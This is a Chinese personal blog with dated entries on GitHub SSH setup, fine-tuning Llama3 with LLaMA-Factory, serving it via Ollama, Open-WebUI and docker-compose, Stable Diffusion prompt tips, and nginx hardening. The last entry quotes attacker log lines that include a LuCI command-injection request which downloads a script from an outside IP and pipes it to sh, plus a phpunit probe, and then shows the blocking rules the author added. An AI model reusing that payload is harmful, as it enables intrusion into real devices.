2024年7月24日
#
这几天要PUSH代码到GITHUB,发现之前用的密码方式被取消了,需改成SSH KEY的方式。
1.生成SSH-KEY
ssh-keygen
#会产生 ~/.ssh/id_rsa 和 ~/.ssh/id_rsa_pub 文件
#如果是从别的地方拷贝过来的id_rsa,需chmod 400 ~/.ssh/id_rsa更改属性
2.在github上新建仓库
https://github.com/paulwong888/python-ai
3.导入公钥到github
打开你的SSH公钥文件,通常位于~/.ssh/id_rsa.pub。复制公钥内容,然后登录到你的GitHub账户,进入Settings > SSH and GPG keys,点击"New SSH key"按钮,粘贴你的公钥,然后点击"Add SSH key"。
4.克隆仓库
git config --global user.name "John Doe"
git config --global user.email johndoe@example.com
git clone git@github.com:paulwong888/python-ai
5.导入project到eclipse
上步克隆时已经在本地新建了一个本地仓库,Import->Git->Project from Git->Existing local repository,选择python-ai/.git文件夹
之后的操作和用密码的方式是一样的。
2024年7月8日
#
上篇已经合并出了训练好的大模型,现在要搭建起一套CHATBOT,使得这套大模型能有一个WEBUI用起来。
1.设置环境变量,ollama的模型保存路径,/etc/profile
export OLLAMA_MODELS=/root/autodl-tmp/models/ollama
2.克隆ollama代码
curl -fsSL https://ollama.com/install.sh | sh
3.启动ollama
4.建立ollama镜像的配置文件,Modelfile
# set the base model
FROM /root/.ollama/llamafactory-export/saves/llama3-8b/lora/docker-commnad-nlp/export
# set custom parameter values
PARAMETER temperature 1
PARAMETER num_keep 24
PARAMETER stop <|start_header_id|>
PARAMETER stop <|end_header_id|>
PARAMETER stop <|eot_id|>
PARAMETER stop <|reserved_special_token
# set the model template
TEMPLATE """
{{ if .System }}<|start_header_id|>system<|end_header_id|>
{{ .System }}<|eot_id|>{{ end }}{{ if .Prompt }}<|start_header_id|>user<|end_header_id|>
{{ .Prompt }}<|eot_id|>{{ end }}<|start_header_id|>assistant<|end_header_id|>
{{ .Response }}<|eot_id|>
"""
# set the system message
SYSTEM You are llama3 from Meta, customized and hosted @ Paul Wong (http://paulwong88.tpddns.cn).
# set Chinese lora support
#ADAPTER /root/.ollama/models/lora/ggml-adapter-model.bin
建立镜像命令,create-ollama-image-docker-command-nlp.sh
BIN_PATH=$(cd `dirname $0`; pwd)
cd $BIN_PATH/
pwd
ollama create llama3-docker-commnad-nlp:paul -f Modelfile
5.运行大模型
llama3-docker-commnad-nlp:paul
对于象META的开源大模型,如llama3,由于都是用通用数据进行预训练,对想使用其模型的公司来说,可能会不适用,因为这大模型对公司的数据不熟悉,因此引入微调(Fine-Tunning)。
通过喂给大模型大量数据,1万条起步,使得大模型也能对公司的数据熟悉,进而用于各种对话场景。
1.克隆并安装LLAMA FACTORY库,install-llamafactory.sh
BIN_PATH=$(cd `dirname $0`; pwd)
cd $BIN_PATH/../
pwd
git clone --depth 1 https://github.com/hiyouga/LLaMA-Factory.git
cd LLaMA-Factory
pip install -e ".[torch,metrics,bitsandbytes,modelscope]"
2.设置环境变量
export USE_MODELSCOPE_HUB=1 #使用modelscop模型库,非huggingface的
export CUDA_VISIBLE_DEVICES=0 #设置使用GPU
export HF_ENDPOINT=https://hf-mirror.com #设置huggingface的替代地址
export MODELSCOPE_CACHE=/root/autodl-tmp/models/modelscope #设置modelscope中的大模型保存路径
export LLAMAFACTORY_HOME=/root/autodl-tmp/LLaMA-Factory
3.准备数据
#在data/dataset_info.json中加入此数据
"docker_command_NL": {
"hf_hub_url": "MattCoddity/dockerNLcommands"
},
在data目录中加入训练数据,MattCoddity/dockerNLcommands.json
数据格式为:
[
{
"input": "Give me a list of containers that have the Ubuntu image as their ancestor.",
"instruction": "translate this sentence in docker command",
"output": "docker ps --filter 'ancestor=ubuntu'"
},
![](http://www.blogjava.net/Images/dot.gif)
] 4.训练大模型
训练的参数文件:llama3_lora_sft_docker_command.yaml
### model
#md model id
model_name_or_path: LLM-Research/Meta-Llama-3-8B-Instruct
#huggingface model id
#model_name_or_path: meta-llama/Meta-Llama-3-8B-Instruct
### method
stage: sft
do_train: true
finetuning_type: lora
lora_target: all
### dataset
dataset: docker_command_NL
template: llama3
cutoff_len: 1024
max_samples: 1000
overwrite_cache: true
preprocessing_num_workers: 16
### output
output_dir: /root/autodl-tmp/my-test/saves/llama3-8b/lora/sft/docker-commnad-nlp/sft
logging_steps: 10
save_steps: 500
plot_loss: true
overwrite_output_dir: true
### train
per_device_train_batch_size: 4
gradient_accumulation_steps: 8
learning_rate: 1.0e-4
num_train_epochs: 3.0
lr_scheduler_type: cosine
warmup_ratio: 0.1
bf16: true
ddp_timeout: 180000000
### eval
val_size: 0.1
per_device_eval_batch_size: 1
eval_strategy: steps
eval_steps: 500
训练命令:lora-train-docker-command.sh
BIN_PATH=$(cd `dirname $0`; pwd)
cd $BIN_PATH/
pwd
cd $LLAMAFACTORY_HOME
pwd
llamafactory-cli train $BIN_PATH/conf/llama3_lora_sft_docker_command.yaml
执行此命令即可开始训练大模型。
5.合并大模型
合并用的参数文件,llama3_lora_export_docker_command.yaml
### model
#md model id
model_name_or_path: LLM-Research/Meta-Llama-3-8B-Instruct
#huggingface model id
#model_name_or_path: meta-llama/Meta-Llama-3-8B-Instruct
adapter_name_or_path: /root/autodl-tmp/my-test/saves/llama3-8b/lora/docker-commnad-nlp/sft
template: llama3
export_dir: /root/autodl-tmp/my-test/saves/llama3-8b/lora/docker-commnad-nlp/export
finetuning_type: lora
export_size: 2
export_device: gpu
export_legacy_format: False
合并命令,lora-export-docker-command.sh
BIN_PATH=$(cd `dirname $0`; pwd)
cd $BIN_PATH/
pwd
llamafactory-cli export conf/llama3_lora_export_docker_command.yaml
2024年6月30日
#
CONTROLNET是STABLE DIFFUSION中的一个插件,允许用户指定某张图片上的特征,然后将这些特征应用到新生成的图片上。
特征可以是图片上某人物的姿势,景深等。
其中一些实用的CONTROL TYPE:
1,LINER
STABLE DIFFUSION实现过程,其实就是先生成样图的线稿图,然后再上色。
2,TITLE
STABLE DIFFUSION会根据提供图片的骨架,再生成新的内容
3,SCRIBBLE
通常用于产品工业设计,先画出线稿,STABLE DIFFUSION会根据线稿,再根据提示词内容生成图片
2024年6月29日
#
采样步数越高,则画质超高。一般取值为20,高于20,画质和20的差不多。
采样一般就用EULER A这种。
提示如果不被模型认识,则不会起效果。
如果提示词太多,则排在后面的提示词会被忽略。
越靠前的词,越会被注意。
同类型的提示词之间会被污染。
反向提示词写几个就足够,如nsfw,low quality, lowres,写多反而会被忽略
一层小括号里面的提示词会加权重成1.1倍,两层则是1.21倍。
一层中括号里面的提示词会加权重成0.9倍,两层则是0.81倍。
[super man|iron man]则生成的主题会融合两种特征。
2024年6月19日
#
一键部署人工智能中的OPEN-WEBUI,OLLAMA, NGINX,也就对类似OPEN-AI的对话机器人
docker-compose.yaml
version: '3.9'
services:
ollama:
deploy:
resources:
reservations:
devices:
- driver: nvidia
count: all
capabilities:
- gpu #使用GPU加速
volumes:
- ollama-volume:/root/.ollama #配置OLLAMA的配置数据文件在宿主机
- /etc/localtime:/etc/localtime:ro
container_name: ollama
image: ollama/ollama
restart: unless-stopped
networks:
isolated: #使用DOCKER的隔离网络
open-webui: #全局维一的服务名
volumes:
- open-webui-volume:/app/backend/data #配置open-webui的配置数据文件在宿主机
- /etc/localtime:/etc/localtime:ro
container_name: open-webui
restart: unless-stopped
image: ghcr.io/open-webui/open-webui:main
environment:
- 'OLLAMA_BASE_URL=http://ollama:11434' #OPEN-WEBUI访问OLLAMA的地址,其实就是服务名代替IP
depends_on:
- ollama
networks:
- isolated
nginx-webui:
volumes:
- /opt/tool/ai/nginx/data/html:/usr/share/nginx/html:ro
- /opt/tool/ai/nginx/data/conf/nginx.conf:/etc/nginx/nginx.conf:ro
- /opt/tool/ai/nginx/data/conf/conf.d/default.conf:/etc/nginx/conf.d/default.conf:ro
- /opt/tool/ai/nginx/data/conf/.htpasswd:/etc/nginx/.htpasswd:ro
- /etc/localtime:/etc/localtime:ro
- /opt/tool/ai/nginx/data/log/access.log:/var/log/nginx/access.log
- /opt/tool/ai/nginx/data/log/error.log:/var/log/nginx/error.log
container_name: nginx-webui
ports:
- "81:81"
image: nginx:latest
#image: quay.io/ricardbejarano/nginx
depends_on:
- open-webui
restart: unless-stopped
networks:
- isolated
- internet
volumes:
ollama-volume:
driver: local
driver_opts:
type: none
o: bind
device: /opt/tool/ai/ollama/data
open-webui-volume:
driver: local
driver_opts:
type: none
o: bind
device: /opt/tool/ai/open-webui/data
networks:
isolated:
driver: bridge
internal: true
internet:
driver: bridge
使用docker compose搞配置方便,配置放在配置文件中,比放在启动命令直观。
docker-compose.yaml
version: '3.8'
services:
nginx-web: #这里注意名称随便起,但要保证在docker环境中维一,否则docker compose down时,会被全局down掉
volumes:
- /opt/tool/nginx/data/html:/usr/share/nginx/html:ro #配置html文件在宿主机上
- /opt/tool/nginx/data/conf/nginx.conf:/etc/nginx/nginx.conf:ro #配置配置文件在宿主机上
- /opt/tool/nginx/data/conf/conf.d/default-web.conf:/etc/nginx/conf.d/default.conf:ro #配置配置文件在宿主机上
- /opt/tool/nginx/data/conf/.htpasswd:/etc/nginx/.htpasswd:ro #配置登录NGINX时要用到的用户名和密码文件
- /etc/localtime:/etc/localtime:ro #配置NGINX上的时钟与宿主机相同
- /opt/tool/nginx/data/log/access.log:/var/log/nginx/access.log #配置ACCESS文件在宿主机上
- /opt/tool/nginx/data/log/error.log:/var/log/nginx/error.log #配置ERROR文件在宿主机上
container_name: nginx-web #容器名称,全局维一
ports:
- "80:80"
image: nginx:latest
#image: quay.io/ricardbejarano/nginx
restart: unless-stopped
启动命令 start-nginx.sh
cd $(cd `dirname $0`; pwd)
docker compose -f docker-compose-web.yaml down #启动前先把相应的镜像干掉
docker compose -f docker-compose-web.yaml up -d #后台启动
login docker命令login-docker.sh
docker exec -it nginx /bin/bash
最近将一台HTTP服务器暴露于仅见,随即引来大量黑客的光顾,其实也就是发各种HTTP请求,以获取一个输入,输出界面,在输入界面输入SHELL命令,在输出界面观看结果,也就是说不用去到电脑前,用登录用户名和密码这种方法来登录,再跑各种命令。
日志显示有下面这些操作:
185.191.127.212 - - [19/Jun/2024:21:10:22 +0800] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) HTTP/1.1" 444 0 "-" "Go-http-client/1.1" "-"
60.221.228.127 - - [15/Jun/2024:21:10:02 +0800] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Custom-AsyncHttpClient" "-"
于是在NGINX上加上相应规则,遇到类似的直接返回444
其中/etc/nginx/conf/nginx.conf
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
#include /etc/nginx/mime.types;
#default_type application/octet-stream;
#paul-1
server_tokens off;
map $remote_addr $loggable {
~^192\.168\.1 0; # 如果IP以192开头,则不记录日志
~^219\.888\.888\.888 0; # 如果IP是219.888.888.8,则不记录日志
default 1; # 其他情况默认记录日志
}
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
#paul-2
access_log /var/log/nginx/access.log main if=$loggable;#引用上面的规则
sendfile on;
#tcp_nopush on;
keepalive_timeout 65;
#gzip on;
include /etc/nginx/conf.d/*.conf;
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
upstream uvicorn {
server unix:/tmp/uvicorn.sock;
}
}
/etc/nginx/conf/conf.d/default.conf,这里是将请求转发后到后端的配置
server {
listen 81;
listen [::]:80;
#paul-3
server_name paulwong88.com;
#paul-4
# 验证 Host 头部是否为您的域名
if ($host != 'paulwong88.com') {
return 444; # 对非授权域名的请求直接关闭连接
}
client_max_body_size 4G;
#server_name localhost;
location / {
#include /etc/nginx/mime.types;
#default_type application/octet-stream;
add_header 'Cache-control' 'no-cache';
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_redirect off;
proxy_buffering off;
proxy_pass http://open-webui:8080;
}
#paul-5
location ~ ^/cgi-bin/ {
deny all;
return 444;# 限制对 CGI 目录的访问
}
}
/etc/nginx/conf/conf.d/default-web.conf,这里是放置静态页面的配置
server {
listen 80;
listen [::]:80;
expires -1;
#paul-3
server_name paulwong88.com;
#paul-4
# 验证 Host 头部是否为您的域名
if ($host != 'paulwong88.com') {
return 444; # 对非授权域名的请求直接关闭连接
}
client_max_body_size 4G;
#server_name localhost;
location / {
#如果不加,nginx会乱发http头,导致浏览器无法解析css,js这种文件
include /etc/nginx/mime.types; #默认在http中是有这个配置的,但又重复了一遍,告诉nginx如果碰到各种后缀,如.css,应如何添加http头
default_type application/octet-stream; #默认在http中是有这个配置的,但又重复了一遍,加默认要加的http头
root /usr/share/nginx/html;
index index.html index.htm;
}
#paul-5
location ~ ^/cgi-bin/ {
deny all;
return 444;# 限制对 CGI 目录的访问
}
#location /static {
# path for static files
#root /path/to/app/static;
#}
#网上建议这样加,但发现没效果
#location ~ \.css {
#root /usr/share/nginx/html;
#add_header Content-Type text/css;
#default_type text/css;
#}
#location ~ \.js {
#root /usr/share/nginx/html;
#add_header Content-Type application/x-javascript;
#}
}
这样基本各路黑客输入一条命令后,基本就打退堂鼓了。